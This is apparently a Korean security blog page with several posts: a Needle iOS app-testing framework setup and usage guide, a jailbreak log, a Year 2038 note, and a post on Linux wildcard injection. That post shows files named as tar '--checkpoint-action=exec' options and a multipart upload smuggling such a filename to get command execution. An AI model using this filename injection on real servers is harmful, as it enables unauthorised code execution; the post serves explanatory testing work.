필수 패키지, python library 설치해줍니다. 리눅스의 경우 apt-get , macos는 brew로 해주시고 python 라이브러리는 모두 pip 지원이 되므로 pip 통해서 설치해줍시다.

One line script
git clone https://github.com/mwrlabs/needle
cd needle; mkdir 3rd 
if $1 = 'macos'
then
  sudo apt-get install python2.7 python2.7-dev sshpass sqlite3 lib32ncurses5-dev ; sudo pip install readline paramiko sshtunnel frida mitmproxy biplist
else
  brew install python; brew install libxml2; xcode-select —install; sudo -H pip install --upgrade --user readline; sudo -H pip install --upgrade --user paramiko; sudo -H pip install --upgrade --user sshtunnel; sudo -H pip install --upgrade --user frida; sudo -H pip install --upgrade --user biplist; brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb; wget https://github.com/mitmproxy/mitmproxy/releases/download/v0.17.1/mitmproxy-0.17.1-osx.tar.gz; tar -xvzf mitmproxy-0.17.1-osx.tar.gz; sudo cp mitmproxy-0.17.1-osx/mitm* /usr/local/bin/
fi
Linux
#> sudo apt-get install python2.7 python2.7-dev sshpass sqlite3 lib32ncurses5-dev
#> sudo pip install readline paramiko sshtunnel frida mitmproxy biplist sshtunnel paramiko

macOS
#> brew install python
#> brew install libxml2
#> xcode-select --install

#> sudo -H pip install --upgrade --user readline;
#> sudo -H pip install --upgrade --user paramiko;
#> sudo -H pip install --upgrade --user sshtunnel;
#> sudo -H pip install --upgrade --user frida;
#> sudo -H pip install --upgrade --user biplist

#> brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb

#> wget https://github.com/mitmproxy/mitmproxy/releases/download/v0.17.1/mitmproxy-0.17.1-osx.tar.gz
#> tar -xvzf mitmproxy-0.17.1-osx.tar.gz
#> sudo cp mitmproxy-0.17.1-osx/mitm* /usr/local/bin

설치가 완료되면 needle.py 실행해주시면 대화형 쉘로 바로 넘어가집니다.

root@de98522c1939:/needle/needle# python needle.py

             __   _ _______ _______ ______         _______
             | \  | |______ |______ |     \ |      |______
             |  \_| |______ |______ |_____/ |_____ |______

                   Needle v1.3.2 [mwr.to/needle]
  [MWR InfoSecurity (@MWRLabs) - Marco Lancini (@LanciniMarco)]

[needle] >
추가로 이후에 Frida쪽 기능 쓰려면 이런 에러가 발생할 수도 있는데요, 이는 Agent가 설치된 단말에 lipo 명령이 없어서 발생하는 문제입니다.
별도 패키지로 제공되는 명령은 아닌 것 같고, Cydia에서 "Darwin CC Tools" 설치로 해결이 가능합니다.

[!] sh: lipo: command not found
참고: https://github.com/mwrlabs/needle/issues/172

How to use?

보통의 보안/해킹 툴들과 비슷하게 전반적인 구조는 Metasploit과 동일합니다. 명령어도 거의 비슷하니 익숙하신 분이라면 적응에는 크게 문제없을 것 같네요.
모든 테스트의 시작인 help를 보면..

[needle][list_apps] > help

Commands (type [help|?] <topic>):
---------------------------------
add_issue     exit  issues  load  reload    search  shell_local  use
back          help  jobs    pull  resource  set     show
exec_command  info  kill    push  run       shell   unset
이런식으로 나타나는데요 대충 정리해보면

[ 기본 명령 ]
    show : 옵션이던 뭐던 볼떄..
    use : 모듈 사용
    (un)set : 인자값 설정(show options으로 본 이후 해당 값들)
    back : 모듈 상위로
    exit : 종료

[ 자체적인 이슈관리 ]
    issues : 이슈 리스트 보기
    add_issue : 이슈 등록

[ 나머지 ]
    push : 데이터 밀어넣기
    shell : 디바이스 쉘 연결
    등등... 거의 읽히는 대로의 의미와 Metasploit console의 명령 형태랑 비슷합니다. 특별한건 없어요
    (사실 쓰기 귀찮..)

모듈을 선택하지 않은 상태(현재?)에서 show options을 보면 global하게 적용된 설정을 볼 수 있습니다. 여기엔 needle agent의 ip / port 등이 있고 설정 후 다른 기능이나 모듈을 사용하면 해당 정보를 기반으로 기능을 수행하게 됩니다.

[needle] > show options

  Name                      Current Value         Required  Description
  ------------------------  -------------         --------  -----------
  AGENT_PORT                4444                  yes       Port on which the Needle Agent is listening
  APP                                             no        Bundle ID of the target application (e.g., com.example.app). Leave empty to launch wizard
  DEBUG                     False                 yes       Enable debugging output
  HIDE_SYSTEM_APPS          False                 yes       If set to True, only 3rd party apps will be shown
  IP                        192.168.0.6           yes       IP address of the testing device (set to localhost to use USB)
  OUTPUT_FOLDER             /root/.needle/output  yes       Full path of the output folder, where to store the output of the modules
  PASSWORD                  ********              yes       SSH Password of the testing device
  PORT                      22                    yes       Port of the SSH agent on the testing device (needs to be != 22 to use USB)
  PUB_KEY_AUTH              True                  yes       Use public key auth to authenticate to the device. Key must be present in the ssh-agent if a passphrase is used
  SAVE_HISTORY              True                  yes       Persists command history across sessions
  SKIP_OUTPUT_FOLDER_CHECK  False                 no        Skip the check that ensures the output folder does not already contain other files. It will automatically overwrite any file
  USERNAME                  root                  yes       SSH Username of the testing device
  VERBOSE                   True                  yes       Enable verbose output
하위 모듈로 가서도 동일하게 필수 인자값등을 확인하려면 show options 으로 보시고 set 명령으로 세팅, run 으로 실행하는 형태로 진행하시면 됩니다.
(몇번 써보면 어떤 방식인지 금방 감 오실거에요)

기본적인 쉘 접근부터 해보면.. 우선 Needle Agent에서 Listen을 활성화 해줍니다. (우측 상단에 포트있어요)
(대다수 기능은 Agent에서 활성화가 되어야 수행 가능하고 간혹 Connection 에러 발생하면 Agent에서 내렸다가 올려주시면 됩니다)

Server에서 IP랑 PORT 세팅하고 shell 명령 넣어주시면..
[needle] > shell
[*] Spawning a shell...
[*] Checking connection with device...
[V] Connection not present, creating a new instance
[V] [AGENT] Connecting to agent (192.268.0.6:4444)...
[+] [AGENT] Successfully connected to agent (192.268.0.6:4444)...
[V] [SSH] Connecting (192.268.0.6:22)...
[+] [SSH] Connected (192.268.0.6:22)
Warning: Permanently added '192.268.0.6' (RSA) to the list of known hosts.
Last login: Mon Dec  3 21:44:15 2018 from 192.268.0.4
vaha:~ root#
vaha:~ root#
디바이스에 바로 접근이 됩니다. (그냥 ssh로 접근한거)
이제 neelde의 강점인 module로 테스트를 진행해보죠.

Use modules

우선 사용할 모듈을 골라봅시다. show modules로 전체 모듈 리스트를 보거나 search로 필요한 기능을 찾아서 보시면 됩니다.

[needle] > show modules

  _Templates
  ----------
    _templates/template_background
    _templates/template_base
    _templates/template_frida
    _templates/template_frida_script
    _templates/template_static

  Binary
  ------
    binary/info/checksums
    binary/info/compilation_checks
    binary/info/metadata
    binary/info/provisioning_profile
    binary/info/universal_links
    binary/installation/install
    binary/installation/pull_ipa
    binary/reversing/class_dump
    binary/reversing/class_dump_frida_enum-all-methods
    binary/reversing/class_dump_frida_enum-classes
    binary/reversing/class_dump_frida_find-class-enum-methods
    binary/reversing/shared_libraries
    binary/reversing/strings

  Comms
  -----
    comms/certs/delete_ca
    comms/certs/export_ca
    comms/certs/import_ca
    comms/certs/install_ca_burp
    comms/certs/install_ca_mitm
    comms/certs/list_ca
    comms/certs/view_cert
    comms/proxy/pinning_bypass_frida
    comms/proxy/proxy_regular

  Device
  ------
    device/agent_client
    device/clean_storage
    device/dependency_installer
    device/hosts
    device/list_apps

  Dynamic
  -------
    dynamic/detection/jailbreak_detection
    dynamic/detection/script_jailbreak-detection-bypass
    dynamic/ipc/open_uri
    dynamic/memory/heap_dump
    dynamic/monitor/files
    dynamic/monitor/pasteboard
    dynamic/monitor/syslog
    dynamic/watch/syslog

  Hooking
  -------
    hooking/cycript/cycript_shell
    hooking/cycript/cycript_touchid
    hooking/frida/frida_launcher
    hooking/frida/frida_shell
    hooking/frida/frida_trace
    hooking/frida/script_anti-hooking-check
    hooking/frida/script_dump-ui
    hooking/frida/script_hook-all-methods-of-class
    hooking/frida/script_hook-method-of-class
    hooking/frida/script_touch-id-bypass
    hooking/theos/list_tweaks
    hooking/theos/theos_tweak

  Mdm
  ---
    mdm/effective_user_settings

  Static
  ------
    static/code_checks

  Storage
  -------
    storage/backup/icloud_content_frida
    storage/caching/keyboard_autocomplete
    storage/caching/screenshot
    storage/data/container
    storage/data/files_binarycookies
    storage/data/files_cachedb
    storage/data/files_plist
    storage/data/files_sql
    storage/data/keychain_dump
    storage/data/keychain_dump_frida
대상 디바이스에 있는 앱 리스트를 뽑아보죠.

[needle][class_dump_frida_enum-classes] > use device/list_apps
[+] Resource file successfully loaded
[needle][list_apps] > show options

  Name              Current Value  Required  Description
  ----------------  -------------  --------  -----------
  HIDE_SYSTEM_APPS  False          yes       If set to True, only 3rd party apps will be shown

[needle][list_apps] > run
[*] Checking connection with device...
[+] Already connected to: 192.268.0.6
[*] Looking for apps...
[+] Apps found:
        0 - com.apple.CTCarrierSpaceAuth
        1 - com.apple.MobileAddressBook
        2 - com.apple.CheckerBoard
        3 - com.appsolutegames.kubic
        4 - com.apple.carkit.DNDBuddy
        5 - com.apple.WebContentFilter.remoteUI.WebContentAnalysisUI
        
msfconsole 쓰는거랑 거의 비슷하기 떄문에 다른 기능들도 비슷하게 사용하시면 됩니다. needle에서 구현해놓은 frida나 cycript 스크립트로 어느정도 풀리는 앱들이 있겠지만, 아닌 경우도 많을겁니다.
떄에 따라 직접 코드를 넣어서 사용해야할 때가 많은데, 이 때 template 쪽 코드 수정해서 사용하시면 될 것 같습니다.

  _Templates
  ----------
    _templates/template_background
    _templates/template_base
    _templates/template_frida
    _templates/template_frida_script
    _templates/template_static

각 종류별로 스크립트 템플릿이 있고, 이를 기반으로 스크립트를 추가할 수 있습니다.

다른 사용법은 wiki 참조(https://github.com/mwrlabs/needle/wiki) 해주시며 좋을듯 합니다.
Share: | Coffee Me:

12/01/2018

Windcard(*) Attack on linux (와일드 카드를 이용한 공격)

조금 철 지난 기법이지만 관심이 적어 모르고 있던거라.. 글로 작성해둡니다.
wildcard는 굉장히 많은 영역에서 사용되는 문자이고 컴퓨팅, 프로그래밍에선 더더욱 많이 사용되는 문자들입니다.

리눅스 환경에선 정말 보편적으로 쓰이고 있고(명령어 처리, 인자값, 설정 등등..), 프로그래밍시에도 굉장히 많이 사용되는 부분입니다.

wildcard 인 *(asterisk)는 ~모든 을 의미하는 문자이고 한번에 많은 파일을 지정할 때 사용합니다.

#> mv * ~/test_dir

요런식으로 많이들 사용하는데, 재미있는 점은 * 로 읽어들인 데이터들이 그대로 command line에서 사용된다는 점입니다.
예를들어 디렉토리에 -al 이라는 파일이 있는 경우 ls * 로 읽어왔을 땐 -al이 옵션으로 인지해서 처리하게 되죠.

#> echo 'a' > '-al'
#> ls
-al

#> ls *
total 8
-rw-r--r--   1 hahwul  hahwul    2 Nov 30 21:51 -al
drwxr-xr-x   3 hahwul  hahwul   96 Nov 30 21:51 .
drwxr-xr-x  31 hahwul  hahwul  992 Nov 30 21:51 ..

물론 파이프 라인 같은 명령어는 먹지 않습니다.

#> echo ‘a’ > ‘| ps'
> ls
| ps


> ls *
| ps

(만약 이게 됬다면 wildcard 쓰는거 자체가 어마무시하게 위험한 행위가 되었을지도요..)

아무튼 우린 옵션 데이터 정도를 넘겨줄 수 있는데요, 이를 이용한 대표적인 사례가 tar(압축관리)에 대한 공격입니다. 

root@HAHWUL:/home/hahwul/HAHWUL/test/1# ll
total 28
drwxr-xr-x 2 root root  4096 Dec  1 20:36  ./
drwxr-xr-x 4 root root  4096 Dec  1 22:37  ../
-rw-r--r-- 1 root root 10240 Dec  1 22:37 '--checkpoint=1'
-rw-r--r-- 1 root root     1 Dec  1 20:36 '--checkpoint-action=exec=sh shell.sh'
-rwxrwxrwx 1 root root    11 Dec  1 20:36  shell.sh*

root@HAHWUL:/home/hahwul/HAHWUL/test/1# tar -cvf 123.tar *
shell.sh
run!!


tar 명령의 경우 -checkpoint-action 이라는 옵션이 있었고 이로 넘어온 인자값이 명령행으로 수행할 수 있었는데요, 이 옵션 내용을 파일로 만들고 대상 디렉토리에서 tar를 통해 압축(보통 *을 많이 쓰니..)을 하게 됬을 떄 --checkpoint 옵션이 활성화되고 결론적으론 공격자가 의도한 명령이 실행되게 됩니다.

단 설치된 tar 버전에 따라 약간 처리가 다른게 있긴 한듯 합니다. (macos에선 영향 없었네요. 리눅스만..)

Bad things.. Other vulnerable point?

웹/시스템 어플리케이션 중 로컬로 command 날리는 형태에는 어느정도 영향이 있을법하네요. tar 이외에도 command line으로 넘길 떄 *이 포함되는 경우들이 있는데, 옵션에 대해 제어할 수 있으니 꼭 코드 실행이 아니여도 의도하지 않은 동작을 수행시키거나 다른 취약점을 트리거하는 발판으로 삼을 수 있을듯 합니다.

분명 웹 어플리케이션과의 접점도 있을겁니다. 예를들어 사용자가 업로드한 파일을 보관하기 위해, 또는 로그등을 처리하기 위해 압축하는 경우들도 있을테고, 웹 서비스와 연계되는 외부 솔루션의 기능 처리를 위해서 command line으로 넘기는 경우들이 있는데 이런 구간에 공격을 해볼 여지가 충분히 있는거죠. 예를들면 A라는 업로드 페이지가 있고 여기서 주기적으로 사용자가 업로드한 파일들을 압축해서 보관한다고 칩시다.

POST /upload HTTP/1.1
Host: 127.0.0.1

--MultipartBoundry
Content-Disposition: form-data; name="image"; filename="--checkpoint-action-exec=ping 127.0.0.1 -c 5 -W .jpg"
Content-Type: image/jpeg

rawimage

이런 형태면 파일명을 --checkpoint, --checkpoint-action-exec 로 만들어서 업로드 후 해당 경로에서 tar 어플리케이션의 행위가 트리거 되었을 때 공격자가 의도한 명령이 수행될 수 있겠죠.

몇개 테스트해봤을땐 영향은 없었지만 | 같이 명령을 나눌 수 있는 부분에 대해서도 체크해볼 필요가 있을법합니다. 혹시라도 명령 분리가 가능하면 * 형태로 command line으로 넘기는 어플리케이션에서 RCE나 의도하지 않은 액션이 발생할 가능성 생길 것 같네요.
Share: | Coffee Me:

iOS 11.3(iPad mini2 ) Jailbraek with Electra(non-developer accouts)

11.3 버전에 대한 탈옥툴이 나온진 조금 되었느데요, 유독 제 아이패드 미니2에서 탈옥이 잘 안되었었는데, 오늘 오전에 성공하여 시도했던 내용들 같이 기록해둡니다.

Electra Jailbreak (iOS 11.2 – 11.3.1) 


공식 홈페이지 가서 ipa 파일 받아주시고 Cydia Impactor나 따로 서명하고 ifunbox로 설치해주시면 됩니다.

https://coolstar.org/electra/

시도헀던 방법들..

거의 구글링 했던 결과들인데요, 요약하면 이렇습니다.

- 비행기모드
- Siri 해제
- 12버전대 패치 제거(설정 > 일반 > 저장소 > 시스템 업데이트 항목쪽 삭제)
- 성공할때까지 반복..(loop..loop...eternal loop)

비행기랑 Siri의 경우는 많이들 권고하는 방법이고, 상위 버전 패치 제거는 간혹 remount 관련 에러날때 하면 된다고 합니다. (저도 한번 나긴했는데, 마지막 떄문에..)

그리고 구글링하다가 어디서 본건데.. 해당 익스플로잇이 항상 유효한게 아니라서 반복적으로 해보면 확률적으로 된다는 말을 듣고, 지난주부터 계쏙 돌렸던거 같네요.
(횟수로 보면 어마어마할겁니다. 아마..)

결국은 확률 뚫고 탈옥되었네요!! 이제 아이패드도 분석 환경 세팅을..


Share: | Coffee Me:

unix timestamp 2038 버그(Year 2038 problem)

최근에 timestamp 계산할거 있어서 구글링해서 웹 페이지 찾아서 사용했었는데요, 해당 웹 사이트에서 이런 내용이 있어 조금 찾아보았고, 재미있는 내용이라 가볍게 공유드립니다.

What happens on January 19, 2038?
On this date the Unix Time Stamp will cease to work due to a 32-bit overflow. Before this moment millions of applications will need to either adopt a new convention for time stamps or be migrated to 64-bit systems which will buy the time stamp a "bit" more time.

혹시나해서 검색해봤는데, 진짜 있는 내용이더군요..



내용인 즉슨 unix에서 사용하는 timestamp 값은 부호 포함 32비트 정수 값인데 해당 값으로 표현할 수 있는 최대 날짜의 데이터가 2038년 1월 19일(03:14:07 UTC)까지라고 하네요.
그때까지 unix timestamp를 쓸지는 모르겠지만, 혹여나 사용하고 있는 디바이스가 있다면 time 값 관련해서 문제가 될 수도 있겠네요.
Share: | Coffee Me: